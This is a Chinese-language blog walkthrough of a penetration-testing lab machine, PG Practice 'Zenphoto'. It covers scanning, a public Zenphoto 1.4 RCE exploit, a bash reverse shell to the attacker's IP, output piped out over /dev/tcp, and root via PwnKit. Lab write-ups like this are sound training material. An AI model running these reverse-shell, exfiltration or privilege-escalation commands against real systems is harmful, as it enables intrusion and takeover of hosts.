iT邦幫忙

2025 iThome 鐵人賽

DAY 20
0
Security

滲透探險 30 天:靶機挑戰記系列 第 20

PG Practice: Zenphoto 攻略

  • 分享至 

  • xImage
  •  

Recon

先來看看這臺主機開了什麼樣的服務
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描

sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.143.41 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.143.41 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.143.41 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.143.41 -type recon;

https://ithelp.ithome.com.tw/upload/images/20251003/20178791okEoHb5KO5.png
https://ithelp.ithome.com.tw/upload/images/20251003/20178791dsqbgoywd8.png

FFUF 的結果裡面有一個 test頁面
https://ithelp.ithome.com.tw/upload/images/20251003/2017879126z9g63iHp.png

http://zenphoto/test/ 看起來是一個簡單的網站,接著看一下source code裡面有什麼
https://ithelp.ithome.com.tw/upload/images/20251003/20178791b2G8M4FzNE.png

view-source:http://zenphoto/test/ source code裡面有看到 zenphoto 的版本
https://ithelp.ithome.com.tw/upload/images/20251003/20178791qeGkuIcW6Q.png

查一下export DB以後發現有一個 RCE 的 exploit code
下載下來

searchsploit zenphoto 1.4 

https://ithelp.ithome.com.tw/upload/images/20251003/201787918uCXp0Yrg0.png

searchsploit -m 18083 

http://zenphoto/test/robots.txt
https://ithelp.ithome.com.tw/upload/images/20251003/20178791LZ0MYg5QXl.png

我們沒有權限去讀 http://zenphoto/test/zp-data/ 下面的任何檔案
https://ithelp.ithome.com.tw/upload/images/20251003/20178791cxaKvh2Tle.png

http://zenphoto/test/zp-core/admin.php
https://ithelp.ithome.com.tw/upload/images/20251003/20178791WYz7opS01k.png

Initial Access

這個 code 是用 PHP 寫的 那這邊我們要先注意 zenphoto 的路徑是在 test 下面
執行過後我們順利拿到了一個shell

php 18083.php $tIP /test/ 

https://ithelp.ithome.com.tw/upload/images/20251003/20178791XJsTN7RX9K.png

但這個 shell 看起來不太習慣 也不確定穩不穩定,所以我決定去建一個 reverse shell 連回 kali

/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.169/80 0>&1'

https://ithelp.ithome.com.tw/upload/images/20251003/201787919OQePp95tC.png

順利進來這臺主機以後先把環境變數設定好 然後就可以直接去拿我們的第一個 flag

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=linux; alias ll='clear;ls -alhst --color=auto'

https://ithelp.ithome.com.tw/upload/images/20251003/20178791u9vU62L0Gt.png

Privilege Escalation

Linpeas 的結果裡面有一個有趣的CVE 是大名鼎鼎的 Pwnkit
我這邊用的是這支 https://github.com/ly4k/PwnKit

./linpeas_20231025.sh > /dev/tcp/192.168.45.169/80 0>&1
rlwrap nc -vnlp 80 > linpeas_result

https://ithelp.ithome.com.tw/upload/images/20251003/20178791gBp11yh3xw.png

如果上傳這個 github下面 pre-build好的 binary file 會報錯
https://ithelp.ithome.com.tw/upload/images/20251003/20178791GX7NkIH23C.png

因為這臺機器的環境跟預先 compile 出來的執行檔不同 所以我們變成要上傳一個 C code 然後直接在靶機上做 compile

gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC

雖然這邊顯示syntax error 但事實上這個 exploit code 已經順利執行成功所以我們也拿到了 root 的身分
第2個 flag get
https://ithelp.ithome.com.tw/upload/images/20251003/20178791chZH3GveuQ.png
https://ithelp.ithome.com.tw/upload/images/20251003/20178791bosbzUHvOY.png


上一篇
PG Practice: Internal 攻略
下一篇
PG Practice: Sorcerer 攻略
系列文
滲透探險 30 天:靶機挑戰記21
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言